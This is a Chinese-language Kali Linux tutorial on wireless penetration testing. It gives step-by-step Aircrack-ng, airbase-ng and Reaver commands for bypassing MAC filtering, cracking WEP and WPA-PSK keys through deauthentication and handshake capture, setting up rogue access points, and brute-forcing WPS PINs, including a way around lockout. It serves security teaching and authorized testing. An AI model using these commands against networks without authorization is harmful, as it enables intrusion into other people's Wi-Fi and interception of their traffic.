kali渗透
- 1:相关工具
- 1.1:Aircrack-ng
- 1.1.1:airmon-ng
- 1.1.2:airodump-ng
- 1.1.3:aireplay-ng
- 1.1.4:airolib-ng
- 1.1.5:bessid-ng
- 1.2:JTR
- 1.3:Evil Twin Attacker
- 1.4:Wifipumpkin3
- 1.6:Fern-WiFi-Cracker
- 1.7:Kismet
- 1.8:Reaver
- 1.9:WiFite
- 2:无线攻击类型
- 3:MAC 地址绑定攻击
- 4:WEP 攻击
- 5:WPA STA - AP 攻击
- 6:WPA 无 AP 攻击
- 7:WPA 企业攻击
- 8:WPS 攻击
本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。
本文以 kali-linux-2023.2-vmware-amd64 为例。
无线网卡使用 MT7612u 芯片。
无线渗透与其他章节独立,涵盖面广。
无线技术变化快,难度大。
理论是本章最有价值的部分。
1:相关工具
1.1:Aircrack-ng
Aircrack-ng 是一个用于无线网络安全评估和渗透测试的工具集。
无线渗透和审计神器,包含各种功能的工具套件:
- 网络检测
- 嗅探抓包
- 包注入
- 密码破解
工具 | 描述 |
---|---|
airmon-ng | 将网卡设定为监听模式 |
airodump-ng | 无线数据包嗅探 |
aireplay-ng | 数据包注入 / 抓包工具,可以根据需要创建特殊的无线网络数据报文及流量 |
aircrack-ng | 字典攻击,破解密钥 |
airbase-ng | AP 伪造,用于攻击客户端而不是接入点本身 |
airdecap-ng | 通过已知秘钥解密处于加密状态数据包 |
airtun-ng | 创建虚拟管道 |
airolib-ng | 保存、管理 ESSID 密码列表 |
packetforge-ng | 创建数据包注入用的加密包 |
tkiptun-ng | WPA / TKIP 攻击 |
easside-ng | 和 AP 接入点通讯 |
airserv-ng | 允许不同的进程访问无线网卡 |
airdriver-ng | 无线设备驱动管理工具 |
bessid-ng | 尝试破解 WEP 网络,记录所有 WPA 握手信息 |
下面介绍部分常用套件工具。
1.1.1:airmon-ng
airmon-ng 主要功能是启用和管理无线网络监控模式。
部分命令如下:
检查网卡驱动:
airmon-ng
检测冲突:
airmon-ng check
停止冲突进程:
airmon-ng check kill
启用 monitor 模式:
airmon-ng start <网卡> [<信道>]
停止 monitor 模式:
airmon-ng stop <网卡接口>
1.1.2:airodump-ng
airodump-ng 主要用于捕获无线网络流量,包括信号强度、加密类型、客户端设备等。
部分命令如下:
抓包:
airodump-ng <网卡接口>
抓取指定信道的数据包:
airodump-ng <网卡接口> -c <信道>
抓取指定 BSSID 的数据包:
airodump-ng <网卡接口> -c <信道> --bssid <BSSID>
保存抓取到的数据包:
airodump-ng <网卡接口> -w test
获取 WPS 信息:
airodump-ng wlan0mon --wps
1.1.3:aireplay-ng
aireplay-ng 主要用于生成和注入数据包,以进行重放攻击、认证攻击和反身攻击等。
- 产生或者加速无线通信流量
- 向无线网络中注入数据包
- 伪造身份验证
- 强制重新身份验证
- 抓包重放
- 用于 WEP 和 WPA 密码破解
部分命令如下:
测试包注入质量:
aireplay-ng -9 <网卡接口>
指定 BSSID 注入测试:
aireplay-ng -9 <网卡接口> -a <BSSID>
指定 ESSID 注入测试:
aireplay-ng -9 <网卡接口> -e <ESSID>
1.1.4:airolib-ng
airolib-ng 用于管理和操作预计算的 PMK 哈希表,可以提高效率。
PMK(Pairwise Master Key)是在 WPA1 和 WPA2 安全协议中用于加密无线网络流量的密钥。
部分命令如下:
将要攻击的 AP 写入一个文件:
echo <ESSID> > <ESSID文件>
导入 ESSID:
airolib-ng db --import essid <ESSID文件>
显示数据库信息:
airolib-ng db --stats
将密码字典导入数据库。会自动剔除不合格的 WPA 密码:
airolib-ng db --import passwd <字典>
生成 PMK hash 表:
airolib-ng db -batch
调用 PMK 哈希表进行密码破解:
aircrack-ng -r db <cap文件>
1.1.5:bessid-ng
bessid-ng 可用于识别隐藏的无线网络。
- 隐藏网络识别
- 主动探测
- 频道定位
1.2:JTR
John The Ripper(JTR),一个开源密码破解工具,支持基于规则扩展密码字典。
配置文件:/etc/john/john.conf
部分使用示例:
查看基于规则扩展的密码字典:
john --wordlist=<基本字典> --rules --stdout
aircrack-ng 破解调用:
john --wordlist=<基本字典> --rules --stdout | aircrack-ng -e <ESSID> -w - <cap 文件>
1.3:Evil Twin Attacker
Evil Twin Attacker 用于创建虚假无线网络,欺骗用户连接后,可以截获用户网络流量、收集敏感信息,进行中间人攻击等。
现在已被 Wifipumpkin3 取代。
官方网站:https://github.com/P0cL4bs/WiFi-Pumpkin-deprecated
1.4:Wifipumpkin3
Wifipumpkin3,用于无线网络渗透。
主要功能:
- 热点伪装
- Evil Twin 攻击
- 中间人攻击
官方网站:https://wifipumpkin3.github.io/
1.6:Fern-WiFi-Cracker
Fern-WiFi-Cracker,一款图形化无线网路渗透综合工具。
- 图形化界面
- 密码破解
- 字典攻击
- 握手包破解
- 网络扫描
1.7:Kismet
Kismet,开源无线网络探测和监控工具,用于扫描、跟踪和分析附近的无线网络。可用于无线侦查。
- 无线网络扫描
- 实时监控
- 设备跟踪
基本命令:
kismet [选项]
1.8:Reaver
Reaver 主要用于利用 WPS 漏洞来破解受保护的无线网络密码。
部分命令如下:
快速破解 PIN 码:
reaver -i <网卡接口> -b <BSSID> -vv -c <信道> -K 1
爆破 PIN 码:
reaver -i <网卡接口> -b <BSSID> -vv -c <信道>
使用 PIN 破解密码:
reaver -i <网卡接口> -b <BSSID> -vv -p <破解的 PIN 值>
1.9:WiFite
WiFite 是一个用于自动化无线网络渗透测试的工具。
2:无线攻击类型
对于无线网络攻击,可分为以下类型:
- MAC 地址绑定攻击
绕过网络的 MAC 地址过滤措施。 - WEP 攻击
通过 WEP 的缺陷破解密码。 - WPA PSK 攻击
- STA - AP 攻击
在 STA 与 AP 连接时进行攻击,抓取敏感数据破解密码。 - 无 AP 攻击
当 STA 不在已连接的 AP 范围内时,通过伪造 AP 抓包破解密码
- STA - AP 攻击
- WPA 企业攻击
针对 WPA 企业的认证进行密码破解。 - WPS 攻击
通过 WPS 技术进行密码破解。 - 无线侦查
识别和收集某个区域内无线网络相关信息,绘制侦查地图。
3:MAC 地址绑定攻击
MAC 地址绑定,通过限制可以关联的客户端 MAC 地址。
- 一些管理员误以为 MAC 绑定是一种安全机制。
如果发现无线网络是 open 认证,但无法连接,可以考虑是 MAC 地址绑定。
开启监听,使监听接口工作在与 AP 同一信道:
airmon-ng start <网卡> <信道>
抓取指定 AP 数据包:
airodump-ng <网卡接口> -c <信道> --bssid <BSSID>
通过观察连接上的 STA,修改相应的 MAC 地址:
1、ifconfig <网卡接口> down
2、macchanger -m <mac地址> <网卡接口>
3、ifconfig <网卡接口> up
即可尝试连接。
4:WEP 攻击
WEP 密码破解原理:
- IV 并非完全随机
- 每 224 个包可能出现一次 IV 重用
- 收集大量 IV 后找出相同 IV 及其对应密文,分析得出共享密码
- ARP 回包中包含 IV
- 数据包足够多的情况下,任何复杂程度的密码都可以被破解
破解过程:
- 启动 monitor 模式
- 启动抓包并保存抓包
- Deauthentication 抓取 XOR 文件
- 利用 XOR 文件与 AP 建立关联
- 执行 ARP 重放
- Deauthentication 触发 ARP 数据包收集足够 DATA 之后破解密码
WEP 破解需要首先伪造认证,以便与 AP 进行正常通信。
Deauthentication 攻击:
- 强制客户端与 AP 断开关联
- 重连生成 ARP 请求,AP 回包包含 IV
- 重连过程抓取 4 步握手过程
- 无客户端情况下此攻击无效
ARP 重放:
- 侦听正常的 ARP 包并重放给 AP
- 加速数据包获取
- AP 回包中包含大量弱 IV
对于 64bit 密钥,建议抓 25 万个包
对于 128bit 密钥,建议抓 150 万个包
由于没有 WEP 加密的无线资源,仅记录思路步骤。
抓取指定 AP 数据包并保存:
airodump-ng <网卡接口> -c <信道> --bssid <BSSID> -w <文件项目名>
如果是 wep 加密,在抓到 xor(用户身份认证)包时,还有如下一个文件(密文密钥流):
Deauthentication 攻击抓取 xor 文件:
aireplay-ng -0 <攻击次数> -a <BSSID> -c <STA mac 地址> <网卡接口>
使用密文密钥流关联到 AP:
aireplay-ng -1 <间隔时间> -e <ESSID> -y <密钥流文件> -a <BSSID> -h <网卡 mac 地址> <网卡接口>
开始 ARP 重放攻击:
aireplay-ng -3 -b <BSSID> -h <网卡 mac 地址> <网卡接口>
触发 ARP 重放攻击:
aireplay-ng -0 <攻击次数> -a <BSSID> -c <STA mac 地址> <网卡接口>
密码破解:
aircrack-ng <cap 文件>
5:WPA STA - AP 攻击
WPA PSK 认证方式,生活中最常见的方式,如 Wi-Fi、热点等。
WPA 不存在 WEP 的弱点,只能暴力破解。
字典质量:
- 网上共享字典
- 泄露密码
- 地区电话号码段
- Kali 中自带的字典文件
PSK 破解过程:
- 启动 monitor
- 开始抓包并保存
- Deauthentication 攻击获取 4 步握手信息
- 使用字典暴力破解
抓取指定 AP 数据包并保存:
airodump-ng <网卡接口> -c <信道> --bssid <BSSID> -w <文件项目名>
Deauthentication 攻击:
aireplay-ng -0 <攻击次数> -a <BSSID> -c <STA mac 地址> <网卡接口>
攻击成功后抓取四步握手过程:
kali 自带的密码字典:
/usr/share/john/password.lst
/usr/share/wordlists/rockyou.txt
进行密码破解:
aircrack-ng -w <字典> <cap 文件>
6:WPA 无 AP 攻击
如果 STA 曾连接过某个 AP,STA 会间隔发送探测该 AP 的数据包,尝试获取连接。
基于此,可以进行无 AP 攻击。但即使攻击成功获得密钥,也需要确定 AP 的位置。
无 AP 情况下的 WPA 密码破解
- 启动 monitor
- 开始抓包并保存
- 根据 probe 信息伪造相同 ESSID 的 AP
- 抓取四步握手中的前两个包
- 使用字典暴力破解
伪造指定 ESSID 的 AP(open 认证):
airbase-ng --essid <AP 名> -c <信道> <网卡接口>
伪造 WAP1 的 AP:
airbase-ng --essid <AP 名> -c <信道> -z <认证类型> <网卡接口>
伪造 WAP2 的 AP:
airbase-ng --essid <AP 名> -c <信道> -Z <认证类型> <网卡接口>
伪造相应的 AP 后 STA 即会建立连接。
接下来的过程与 WPA STA - AP 攻击相同。
7:WPA 企业攻击
WPA 企业攻击与无 AP 攻击类似,但企业认证除了密码还需要用户名。需要伪造相应的 AP,并在攻击机上配置伪造证书。
参考文章:企业级WPA破解
8:WPS 攻击
WPS(Wi-Fi Protected Setup),用于简化无线网络设备连接的过程。
QSS(Quick Secure Setup),与 WPS 类似。
通过 WPS 或 QSS,用户可以使用 PIN 码、按键等方式快速建立连接,无需手动输入密码。
WPS 标准本身没有设计锁定机制,但目前多个厂商已实现锁定机制。
- 很多厂家的无线路由器无法关闭 WPS 功能
- 即使在 WEB 界面中关闭 WPS,配置也不会生效
- 攻击难度相对较低,防御却十分困难
很多厂家实现了锁定机制,所以爆破时应注意限速。
一旦触发锁定,可尝试耗尽 AP 连接数,令其重启并解除 WPS 锁定。
发现支持 WPS 的 AP:
方式一:wash -F -i <网卡接口>
方式二:airodump-ng <网卡接口> --wps
快速破解 PIN 码:
reaver -i <网卡接口> -b <BSSID> -vv -c <信道> -K 1
只适用于固定厂商的芯片,成功率很低。
爆破 PIN 码:
reaver -i <网卡接口> -b <BSSID> -vv -c <信道>
使用 PIN 破解密码:
reaver -i <网卡接口> -b <BSSID> -vv -p <破解的 PIN 值>
末俗以繁华相尚,终觉冷淡处趣味弥长。
——《围炉夜话》(清)王永彬